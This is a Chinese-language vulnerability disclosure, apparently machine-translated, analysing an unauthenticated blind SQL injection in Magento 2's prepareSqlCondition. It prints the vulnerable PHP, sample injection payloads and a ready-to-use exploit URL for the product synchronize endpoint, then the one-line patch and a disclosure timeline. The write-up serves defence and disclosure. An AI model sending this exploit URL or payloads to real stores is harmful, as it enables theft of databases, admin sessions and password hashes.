代碼審覈
Magento擁有龐大的代碼庫 - 超過200萬行PHP。顯然,手動審覈其代碼必須是一項繁瑣的工做。儘管如此,Netanel Rubin發現的兩個優秀RCE漏洞給了咱們指導,由於它們針對兩件事:
訪問檢查/路由
API
這兩個載體極可能是清除漏洞,由於它們以前已通過審計。所以,我選擇了一些還沒有定位的東西:負責ORM和DB管理的代碼。
SQL注入
下沉
處理數據庫的主要類之一是Magento \ Framework \ DB \ Adapter \ Pdo \ Mysql。通過幾分鐘的審計,其中一個方法prepareSqlCondition出現了一個有趣的錯誤。
php
<?php /**** ** Build SQL statement for condition ** ** If $condition integer or string - exact value will be filtered ('eq' condition) ** ** If $condition is array is - one of the following structures is expected: ** - array("from" => $fromValue, "to" => $toValue) ** - array("eq" => $equalValue) ** - array("neq" => $notEqualValue) ** - array("like" => $likeValue) ** - array("in" => array($inValues)) ** - array("nin" => array($notInValues)) ** - array("notnull" => $valueIsNotNull) ** - array("null" => $valueIsNull) ** - array("gt" => $greaterValue) ** - array("lt" => $lessValue) ** - array("gteq" => $greaterOrEqualValue) ** - array("lteq" => $lessOrEqualValue) ** - array("finset" => $valueInSet) ** - array("regexp" => $regularExpression) ** - array("seq" => $stringValue) ** - array("sneq" => $stringValue) ** ** If non matched - sequential array is expected and OR conditions ** will be built using above mentioned structure ** ** ... **/ public function prepareSqlCondition($fieldName, $condition) { $conditionKeyMap = [ [1] 'eq' => "{{fieldName}} = ?", 'neq' => "{{fieldName}} != ?", 'like' => "{{fieldName}} LIKE ?", 'nlike' => "{{fieldName}} NOT LIKE ?", 'in' => "{{fieldName}} IN(?)", 'nin' => "{{fieldName}} NOT IN(?)", 'is' => "{{fieldName}} IS ?", 'notnull' => "{{fieldName}} IS NOT NULL", 'null' => "{{fieldName}} IS NULL", 'gt' => "{{fieldName}} > ?", 'lt' => "{{fieldName}} < ?", 'gteq' => "{{fieldName}} >= ?", 'lteq' => "{{fieldName}} <= ?", 'finset' => "FIND_IN_SET(?, {{fieldName}})", 'regexp' => "{{fieldName}} REGEXP ?", 'from' => "{{fieldName}} >= ?", 'to' => "{{fieldName}} <= ?", 'seq' => null, 'sneq' => null, 'ntoa' => "INET_NTOA({{fieldName}}) LIKE ?", ]; $query = ''; if (is_array($condition)) { $key = key(array_intersect_key($condition, $conditionKeyMap)); if (isset($condition['from']) || isset($condition['to'])) { [2] if (isset($condition['from'])) { [3] $from = $this->_prepareSqlDateCondition($condition, 'from'); $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName); } if (isset($condition['to'])) { [4] $query .= empty($query) ? '' : ' AND '; $to = $this->_prepareSqlDateCondition($condition, 'to'); $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); [5] } } elseif (array_key_exists($key, $conditionKeyMap)) { $value = $condition[$key]; if (($key == 'seq') || ($key == 'sneq')) { $key = $this->_transformStringSqlCondition($key, $value); } if (($key == 'in' || $key == 'nin') && is_string($value)) { $value = explode(',', $value); } $query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName); } else { $queries = []; foreach ($condition as $orCondition) { $queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition)); } $query = sprintf('(%s)', implode(' OR ', $queries)); } } else { $query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName); } return $query; } protected function _prepareQuotedSqlCondition($text, $value, $fieldName) [3] { $sql = $this->quoteInto($text, $value); $sql = str_replace('{{fieldName}}', $fieldName, $sql); return $sql; }
總的來講,該函數根據SQL字段名稱和表示運算符(=,!=,>等)和值的數組構建SQL條件。 爲此,它使用$ conditionKeyMap [1]將給定條件別名映射到模式,並替換每一個? 使用_prepareQuotedSqlCondition()[3]經過給定值的引用版本在別名中的字符。 例如:web
<?php $db->prepareSqlCondition('username', ['regexp' => 'my_value']); => $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?"; => $query = "username REGEXP 'my_value'";
然而,當結合使用from和to條件時會出現問題[2],一般是爲了確保字段包含在一個範圍內。 例如:sql
<?php $db->prepareSqlCondition('price', [ 'from' => '100' 'to' => '1000' ]); $query = "price >= '100' AND price <= '1000'";
當存在兩個條件(from和to)時,代碼首先處理from部分[3],而後處理另外一個[4],可是此時發生了一個關鍵錯誤[5]:爲from生成的查詢是 重複用於格式化。
結果,由於每個? 由給定值替換,若是from的值中存在問號,則將替換爲to的值的引用版本。 這是一種打破SQL查詢並所以引起SQL注入的方法:數據庫
<?php $db->prepareSqlCondition('price', [ 'from' => 'some?value' 'to' => 'BROKEN' ]); # FROM $query = $db->_prepareQuotedSqlCondition("{{fieldName}} >= ?", 'some?value', 'price') -> $query = "price >= 'some?value'" # TO $query = $db->_prepareQuotedSqlCondition($query . "AND {{fieldName}} <= ?", 'BROKEN', 'price') -> $query = $db->_prepareQuotedSqlCondition("price >= 'some?value' AND {{fieldName}} <= ?", 'BROKEN', 'price') -> $query = "price >= 'some'BROKEN'value' AND price <= 'BROKEN'"
第一次出現BROKEN是引用以外的。 爲了執行有效的SQL注入,咱們能夠這樣作:json
<?php $db->prepareSqlCondition('price', [ 'from' => 'x?' 'to' => ' OR 1=1 -- -' ]); -> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"
爲了不這個bug,這一行:後端
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
應該是數組
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
這個錯誤雖然很小,可是很是有影響力:若是咱們能夠徹底控制第二個參數來準備SQLCondition,那麼咱們就會有一個SQL注入。 使人驚訝的是,自Magento 1.x以來,這段代碼已經存在!
資源
如前所述,Magento中有許多代碼行,找到一種方法來解決這個問題很累人。 在用完智能方法以後,我選擇逐個檢查每一個控制器,直到找到源。 幸運的是,在不到十幾我的以後,找到了候選人:Magento \ Catalog \ Controller \ Product \ Frontend \ Action \ Synchronize。服務器
<?php public function execute() { $resultJson = $this->jsonFactory->create(); try { $productsData = $this->getRequest()->getParam('ids', []); $typeId = $this->getRequest()->getParam('type_id', null); $this->synchronizer->syncActions($productsData, $typeId); } catch (\Exception $e) { $resultJson->setStatusHeader( \Zend\Http\Response::STATUS_CODE_400, \Zend\Http\AbstractMessage::VERSION_11, 'Bad Request' ); } return $resultJson->setData([]); }
這是最終致使錯誤的調用堆棧less
<?php $productsData = $this->getRequest()->getParam('ids', []); $this->synchronizer->syncActions($productsData, $typeId); $collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData)); $this->_translateCondition($field, $condition); $this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition); $this->getConnection()->prepareSqlCondition($fieldName, $condition);
此代碼路徑僅在Magento 2.2.0以後出現。
這是一個致使未經身份驗證的盲SQL注入的URL:frontend
https://magento2website.com/catalog/product_frontend_action/synchronize? type_id=recently_products& ids[0][added_at]=& ids[0][product_id][from]=?& ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
如今能夠從數據庫中讀取任何內容,咱們能夠提取管理會話或密碼哈希並使用它們來訪問後端。
修補
SQL注入的補丁是微不足道的:
File: vendor/magento/framework/DB/Adapter/Pdo/Mysql.php
Line: 2907
- $query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName); + $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);
Magento發佈了2.3.1版本,以及2.2.x,2.1.x和1.1的修補版本。 修補你的服務器!
時間線
2018年11月9日:經過Bugcrowd報告錯誤
2018年11月26日:錯誤標記爲P1
2019年3月19日:咱們要求更新(4個月!)
2019年3月19日:Magento以賞金獎勵咱們,並通知咱們正在進行更新
2019年3月26日:Magento發佈了一個新版本,修補了這些錯誤